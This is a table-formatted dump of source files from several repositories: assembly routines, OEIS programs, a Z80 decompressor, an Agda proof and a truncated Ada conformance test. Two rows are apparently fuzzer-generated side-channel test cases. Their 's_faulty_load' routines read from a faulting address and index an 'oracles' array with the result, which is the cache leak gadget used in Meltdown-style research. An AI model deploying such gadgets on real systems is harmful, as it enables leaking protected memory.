max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
src/asm/fatal_error.asm
|
krzem5/Assembly-64bit_OS_Kernel
| 4 |
169021
|
<reponame>krzem5/Assembly-64bit_OS_Kernel
bits 64
global asm_halt_cpu
asm_halt_cpu:
cli
._asm_l:
hlt
jmp ._asm_l
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1854.asm
|
ljhsiun2/medusa
| 9 |
14411
|
<reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
// Load
lea addresses_normal+0x8a1c, %rcx
nop
nop
add %r10, %r10
movups (%rcx), %xmm7
vpextrq $1, %xmm7, %rbp
nop
and $346, %r10
// Faulty Load
lea addresses_normal+0x8a1c, %r13
nop
xor %rdi, %rdi
mov (%r13), %r8
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0x48.log_21829_912.asm
|
ljhsiun2/medusa
| 9 |
90115
|
<reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xeec5, %rsi
lea addresses_A_ht+0x11145, %rdi
nop
nop
cmp %r8, %r8
mov $9, %rcx
rep movsb
nop
nop
nop
dec %r10
lea addresses_UC_ht+0x1eda9, %rbx
nop
nop
nop
nop
xor $50522, %r9
movl $0x61626364, (%rbx)
nop
nop
nop
nop
add %rbx, %rbx
lea addresses_A_ht+0x1bd45, %r8
nop
sub %r10, %r10
mov (%r8), %edi
nop
nop
nop
nop
dec %r8
lea addresses_normal_ht+0x16c85, %rsi
lea addresses_UC_ht+0xca45, %rdi
nop
nop
and %r13, %r13
mov $54, %rcx
rep movsw
nop
nop
sub %r8, %r8
lea addresses_D_ht+0x5d45, %r8
nop
nop
nop
add %r10, %r10
mov (%r8), %r13w
dec %r8
lea addresses_WT_ht+0x1945, %rsi
lea addresses_D_ht+0x1e8c, %rdi
clflush (%rsi)
nop
inc %rbx
mov $96, %rcx
rep movsw
nop
nop
nop
nop
nop
add $30325, %rdi
lea addresses_normal_ht+0xf745, %rdi
clflush (%rdi)
nop
nop
nop
nop
and $14728, %r13
mov (%rdi), %rcx
nop
nop
nop
nop
nop
xor $39506, %rdi
lea addresses_D_ht+0x1aa85, %r9
nop
nop
nop
nop
inc %r10
movl $0x61626364, (%r9)
sub %r13, %r13
lea addresses_D_ht+0x1d945, %r13
nop
nop
nop
sub $32570, %r10
movl $0x61626364, (%r13)
add %rcx, %rcx
lea addresses_UC_ht+0xc305, %rsi
lea addresses_normal_ht+0x1c6c5, %rdi
nop
add %r10, %r10
mov $117, %rcx
rep movsl
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0xea5d, %rcx
nop
nop
nop
xor %rdi, %rdi
and $0xffffffffffffffc0, %rcx
movntdqa (%rcx), %xmm7
vpextrq $0, %xmm7, %r13
nop
nop
xor $16748, %r13
lea addresses_WT_ht+0x6805, %rcx
nop
nop
nop
nop
add %r13, %r13
movl $0x61626364, (%rcx)
nop
nop
nop
xor %r8, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rdi
push %rdx
push %rsi
// Faulty Load
lea addresses_WT+0x7545, %rdx
nop
nop
nop
sub $19734, %rsi
vmovups (%rdx), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %r12
lea oracles, %rsi
and $0xff, %r12
shlq $12, %r12
mov (%rsi,%r12,1), %r12
pop %rsi
pop %rdx
pop %rdi
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': True, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'39': 15670, '00': 6159}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
programs/oeis/145/A145577.asm
|
neoneye/loda
| 22 |
19054
|
<filename>programs/oeis/145/A145577.asm
; A145577: A045944 mod 9. Period 9: repeat 0,5,7,6,2,4,3,8,1.
; 0,5,7,6,2,4,3,8,1,0,5,7,6,2,4,3,8,1,0,5,7,6,2,4,3,8,1,0,5,7,6,2,4,3,8,1
mul $0,3
add $0,2
bin $0,4
mod $0,9
|
multiworldplayernames.asm
|
KScl/z3rasm
| 0 |
24497
|
<reponame>KScl/z3rasm
table textmaps/hud_font.map
;org $32DFD0 ; PC 0x195FD0 -- 28 bytes
HUD_ReceivedFrom:
dw "RECEIVED FROM "
;org $32DFEC ; PC 0x195FEC -- 16 bytes
HUD_SentTo:
dw "SENT TO "
;org $32DFFC ; PC 0x195FFC
;--------------------------------------------------------------------------------
; Player names (32 bytes/player) - 255 players
;--------------------------------------------------------------------------------
!NM = 0
macro player_name()
!NM #= !NM+1
padword $007F
?start : dw "PLAYER !NM" : pad ?start+$20
endmacro
PlayerNames:
rep 255 : %player_name()
|
oeis/245/A245415.asm
|
neoneye/loda-programs
| 11 |
98462
|
; A245415: Number of nonnegative integers with property that their base 5/2 expansion (see A024632) has n digits.
; Submitted by <NAME>
; 5,10,25,60,150,375,940,2350,5875,14685,36715,91785,229465,573660,1434150,3585375,8963440,22408600,56021500,140053750,350134375,875335935,2188339840,5470849600,13677124000,34192810000,85482025000,213705062500,534262656250
mov $2,$0
add $2,1
mov $19,$0
lpb $2
mov $0,$19
sub $2,1
sub $0,$2
mov $16,$0
mov $17,0
mov $18,$0
add $18,1
lpb $18
mov $0,$16
mov $13,0
sub $18,1
sub $0,$18
mov $12,$0
mov $14,2
lpb $14
mov $0,$12
mov $9,0
sub $14,1
add $0,$14
sub $0,1
mov $8,$0
mov $10,2
lpb $10
mov $0,$8
mov $5,0
sub $10,1
add $0,$10
sub $0,1
mov $4,$0
mov $6,2
lpb $6
mov $0,$4
sub $6,1
add $0,$6
mov $3,1
lpb $0
sub $0,1
mul $3,5
add $3,2
div $3,4
mul $3,2
lpe
mov $0,$3
mov $7,$6
mul $7,$3
add $5,$7
lpe
min $4,1
mul $4,$0
mov $0,$5
sub $0,$4
mov $11,$10
mul $11,$0
add $9,$11
lpe
min $8,1
mul $8,$0
mov $0,$9
sub $0,$8
mov $15,$14
mul $15,$0
add $13,$15
lpe
min $12,1
mul $12,$0
mov $0,$13
sub $0,$12
div $0,2
mul $0,5
add $17,$0
lpe
add $20,$17
lpe
mov $0,$20
|
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/tests/pragmas.adb
|
ouankou/rose
| 488 |
21194
|
--Just testing all the procedure pragmas I could think of.
Procedure Pragmas is
pragma List(Off);
pragma Optimize(Off);
Procedure TryInline is
Foo : Integer := 0;
begin
null;
end;
pragma Inline(TryInline);
begin
null;
end;
|
programs/oeis/102/A102560.asm
|
karttu/loda
| 1 |
169538
|
; A102560: Expansion of (1-x^3)/(1-x^4).
; 1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1,0,0,-1,1
mod $0,4
mov $2,$0
gcd $0,2
sub $0,$2
mov $1,$0
div $1,2
|
oeis/346/A346184.asm
|
neoneye/loda-programs
| 11 |
244197
|
; A346184: a(n) = Sum_{k=0..n} binomial(n,k) * binomial(k^2, n).
; Submitted by <NAME>
; 1,1,6,96,2330,76230,3132192,154830704,8942749020,590880389676,43950871549640,3634094909879808,330648849617038680,32827596801363717080,3531510395923598074560,409199784951469138012800,50807611780916913209679632,6729703201077108496483268880
mov $4,$0
add $0,1
lpb $0
sub $0,1
mov $2,0
sub $2,$1
pow $2,2
bin $2,$4
mov $3,$4
bin $3,$1
add $1,1
mul $3,$2
add $5,$3
lpe
mov $0,$5
|
src/GroupoidStructure.agda
|
vituscze/HoTT-lectures
| 0 |
2214
|
{-# OPTIONS --without-K #-}
module GroupoidStructure {a} {A : Set a} where
open import PathOperations
open import Types
p·p⁻¹ : {a b : A} (p : a ≡ b) → p · p ⁻¹ ≡ refl
p·p⁻¹ = J (λ _ _ p → p · p ⁻¹ ≡ refl) (λ _ → refl) _ _
p⁻¹·p : {a b : A} (p : a ≡ b) → p ⁻¹ · p ≡ refl
p⁻¹·p = J (λ _ _ p → p ⁻¹ · p ≡ refl) (λ _ → refl) _ _
p·id : {a b : A} (p : a ≡ b) → p · refl ≡ p
p·id = J (λ _ _ p → p · refl ≡ p) (λ _ → refl) _ _
id·p : {a b : A} (p : a ≡ b) → refl · p ≡ p
id·p _ = refl
p·q·r : {a b c d : A} (p : a ≡ b) (q : b ≡ c) (r : c ≡ d) →
p · (q · r) ≡ (p · q) · r
p·q·r {c = c} {d = d} = J
(λ _ b p → (q : b ≡ c) (r : c ≡ d) → p · q · r ≡ (p · q) · r)
(λ b → J
(λ _ c q → (r : c ≡ d) → refl · q · r ≡ (refl · q) · r)
(λ _ _ → refl) _ _)
_ _
|
asm/Z80/aplib_z80.asm
|
Dwedit/apultra
| 40 |
174786
|
<reponame>Dwedit/apultra
;Z80 Version by <NAME>
;Call depack.
;hl = source
;de = dest
ap_bits: .db 0
ap_byte: .db 0
lwm: .db 0
r0: .dw 0
ap_getbit:
push bc
ld bc,(ap_bits)
rrc c
jr nc,ap_getbit_continue
ld b,(hl)
inc hl
ap_getbit_continue:
ld a,c
and b
ld (ap_bits),bc
pop bc
ret
ap_getbitbc: ;doubles BC and adds the read bit
sla c
rl b
call ap_getbit
ret z
inc bc
ret
ap_getgamma:
ld bc,1
ap_getgammaloop:
call ap_getbitbc
call ap_getbit
jr nz,ap_getgammaloop
ret
depack:
;hl = source
;de = dest
ldi
xor a
ld (lwm),a
inc a
ld (ap_bits),a
aploop:
call ap_getbit
jp z, apbranch1
call ap_getbit
jr z, apbranch2
call ap_getbit
jr z, apbranch3
;LWM = 0
xor a
ld (lwm),a
;get an offset
ld bc,0
call ap_getbitbc
call ap_getbitbc
call ap_getbitbc
call ap_getbitbc
ld a,b
or c
jr nz,apbranch4
xor a ;write a 0
ld (de),a
inc de
jr aploop
apbranch4:
ex de,hl ;write a previous bit (1-15 away from dest)
push hl
sbc hl,bc
ld a,(hl)
pop hl
ld (hl),a
inc hl
ex de,hl
jr aploop
apbranch3:
;use 7 bit offset, length = 2 or 3
;if a zero is encountered here, it's EOF
ld c,(hl)
inc hl
rr c
ret z
ld b,2
jr nc,ap_dont_inc_b
inc b
ap_dont_inc_b:
;LWM = 1
ld a,1
ld (lwm),a
push hl
ld a,b
ld b,0
;R0 = c
ld (r0),bc
ld h,d
ld l,e
or a
sbc hl,bc
ld c,a
ldir
pop hl
jr aploop
apbranch2:
;use a gamma code * 256 for offset, another gamma code for length
call ap_getgamma
dec bc
dec bc
ld a,(lwm)
or a
jr nz,ap_not_lwm
;bc = 2?
ld a,b
or c
jr nz,ap_not_zero_gamma
;if gamma code is 2, use old r0 offset, and a new gamma code for length
call ap_getgamma
push hl
ld h,d
ld l,e
push bc
ld bc,(r0)
sbc hl,bc
pop bc
ldir
pop hl
jr ap_finishup
ap_not_zero_gamma:
dec bc
ap_not_lwm:
;do I even need this code?
;bc=bc*256+(hl), lazy 16bit way
ld b,c
ld c,(hl)
inc hl
ld (r0),bc
push bc
call ap_getgamma
ex (sp),hl
;bc = len, hl=offs
push de
ex de,hl
;some comparison junk for some reason
ld hl,31999
or a
sbc hl,de
jr nc,skip1
inc bc
skip1:
ld hl,1279
or a
sbc hl,de
jr nc,skip2
inc bc
skip2:
ld hl,127
or a
sbc hl,de
jr c,skip3
inc bc
inc bc
skip3:
;bc = len, de = offs, hl=junk
pop hl
push hl
or a
sbc hl,de
pop de
;hl=dest-offs, bc=len, de = dest
ldir
pop hl
ap_finishup:
ld a,1
ld (lwm),a
jp aploop
apbranch1:
ldi
xor a
ld (lwm),a
jp aploop
|
asm/hello/hello.asm
|
0ttr/chaos
| 0 |
176978
|
global _start
section .text
_start:
mov rax, 1 ; system call for write
mov rdi, 1 ; set file descriptor to stdout
mov rsi, str ; pass address of str to output
mov rdx, len ; size of str
syscall ; invoke syscall
mov rax, 60 ; system call for exit
xor rdi, rdi ; set exit code to 0
syscall ; invoke syscall
section .data
str: DB 'hello',0,0xa
len: equ $-str
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c7/c74306a.ada
|
best08618/asylo
| 7 |
22832
|
-- C74306A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- AFTER THE FULL DECLARATION OF A DEFERRED CONSTANT, THE VALUE OF
-- THE CONSTANT MAY BE USED IN ANY EXPRESSION, PARTICULARLY
-- EXPRESSIONS IN WHICH THE USE WOULD BE ILLEGAL BEFORE THE FULL
-- DECLARATION.
-- HISTORY:
-- BCB 03/14/88 CREATED ORIGINAL TEST.
WITH REPORT; USE REPORT;
PROCEDURE C74306A IS
GENERIC
TYPE GENERAL_PURPOSE IS LIMITED PRIVATE;
Y : IN OUT GENERAL_PURPOSE;
FUNCTION IDENT (X : GENERAL_PURPOSE) RETURN GENERAL_PURPOSE;
FUNCTION IDENT (X : GENERAL_PURPOSE) RETURN GENERAL_PURPOSE IS
BEGIN
IF EQUAL(3,3) THEN
RETURN X;
END IF;
RETURN Y;
END IDENT;
PACKAGE P IS
TYPE T IS PRIVATE;
C : CONSTANT T;
PRIVATE
TYPE T IS RANGE 1 .. 100;
TYPE A IS ARRAY(1..2) OF T;
TYPE B IS ARRAY(INTEGER RANGE <>) OF T;
TYPE D (DISC : T) IS RECORD
NULL;
END RECORD;
C : CONSTANT T := 50;
PARAM : T := 99;
FUNCTION IDENT_T IS NEW IDENT (T, PARAM);
FUNCTION F (X : T := C) RETURN T;
SUBTYPE RAN IS T RANGE 1 .. C;
SUBTYPE IND IS B(1..INTEGER(C));
SUBTYPE DIS IS D (DISC => C);
OBJ : T := C;
CON : CONSTANT T := C;
ARR : A := (5, C);
PAR : T := IDENT_T (C);
RANOBJ : T RANGE 1 .. C := C;
INDOBJ : B(1..INTEGER(C));
DIS_VAL : DIS;
REN : T RENAMES C;
GENERIC
FOR_PAR : T := C;
PACKAGE GENPACK IS
VAL : T;
END GENPACK;
GENERIC
IN_PAR : IN T;
PACKAGE NEWPACK IS
IN_VAL : T;
END NEWPACK;
END P;
USE P;
PACKAGE BODY P IS
TYPE A1 IS ARRAY(1..2) OF T;
TYPE B1 IS ARRAY(INTEGER RANGE <>) OF T;
TYPE D1 (DISC1 : T) IS RECORD
NULL;
END RECORD;
SUBTYPE RAN1 IS T RANGE 1 .. C;
SUBTYPE IND1 IS B1(1..INTEGER(C));
SUBTYPE DIS1 IS D1 (DISC1 => C);
OBJ1 : T := C;
FUNCVAR : T;
CON1 : CONSTANT T := C;
ARR1 : A1 := (5, C);
PAR1 : T := IDENT_T (C);
RANOBJ1 : T RANGE 1 .. C := C;
INDOBJ1 : B1(1..INTEGER(C));
DIS_VAL1 : DIS1;
REN1 : T RENAMES C;
FUNCTION F (X : T := C) RETURN T IS
BEGIN
RETURN C;
END F;
PACKAGE BODY GENPACK IS
BEGIN
VAL := FOR_PAR;
END GENPACK;
PACKAGE BODY NEWPACK IS
BEGIN
IN_VAL := IN_PAR;
END NEWPACK;
PACKAGE PACK IS NEW GENPACK (FOR_PAR => C);
PACKAGE NPACK IS NEW NEWPACK (IN_PAR => C);
BEGIN
TEST ("C74306A", "AFTER THE FULL DECLARATION OF A DEFERRED " &
"CONSTANT, THE VALUE OF THE CONSTANT MAY " &
"BE USED IN ANY EXPRESSION, PARTICULARLY " &
"EXPRESSIONS IN WHICH THE USE WOULD BE " &
"ILLEGAL BEFORE THE FULL DECLARATION");
IF OBJ /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR OBJ");
END IF;
IF CON /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR CON");
END IF;
IF ARR /= (IDENT_T(5), IDENT_T(50)) THEN
FAILED ("IMPROPER VALUES FOR ARR");
END IF;
IF PAR /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR PAR");
END IF;
IF OBJ1 /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR OBJ1");
END IF;
IF CON1 /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR CON1");
END IF;
IF ARR1 /= (IDENT_T(5), IDENT_T(50)) THEN
FAILED ("IMPROPER VALUES FOR ARR1");
END IF;
IF PAR1 /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR PAR1");
END IF;
IF PACK.VAL /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR PACK.VAL");
END IF;
IF NPACK.IN_VAL /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR NPACK.IN_VAL");
END IF;
IF RAN'LAST /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR RAN'LAST");
END IF;
IF RANOBJ /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR RANOBJ");
END IF;
IF IND'LAST /= IDENT_INT(50) THEN
FAILED ("IMPROPER VALUE FOR IND'LAST");
END IF;
IF INDOBJ'LAST /= IDENT_INT(50) THEN
FAILED ("IMPROPER VALUE FOR INDOBJ'LAST");
END IF;
IF DIS_VAL.DISC /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR DIS_VAL.DISC");
END IF;
IF REN /= IDENT_T(50) THEN
FAILED ("IMPROPER VALUE FOR REN");
END IF;
IF RAN1'LAST /= IDENT_T(50) THEN
